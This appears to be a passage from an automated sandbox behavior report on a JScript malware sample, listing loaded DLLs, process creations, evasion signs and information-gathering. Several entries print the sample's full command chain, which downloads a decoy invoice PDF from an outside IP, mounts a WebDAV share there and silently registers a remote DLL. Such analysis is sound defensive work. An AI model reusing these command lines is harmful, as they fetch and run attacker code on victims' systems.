Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7927.js.csv");ITextStream.WriteLine(" entry:7813 f:tnnnqo");ITextStream.WriteLine(" exec:2 f:tnnnqo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5216			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4625			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3964	Thread sleep count: 5216 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6424	Thread sleep count: 4625 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 616	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6564	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5512	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6424	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2093903838.00000232B4B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWz
Source: net.exe, 00000007.00000002.2093903838.00000232B4B2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3326051158.000001D129A40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3326095853.000001D129A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2093433237.00000232B4AD0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3324685282.000001D12442B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
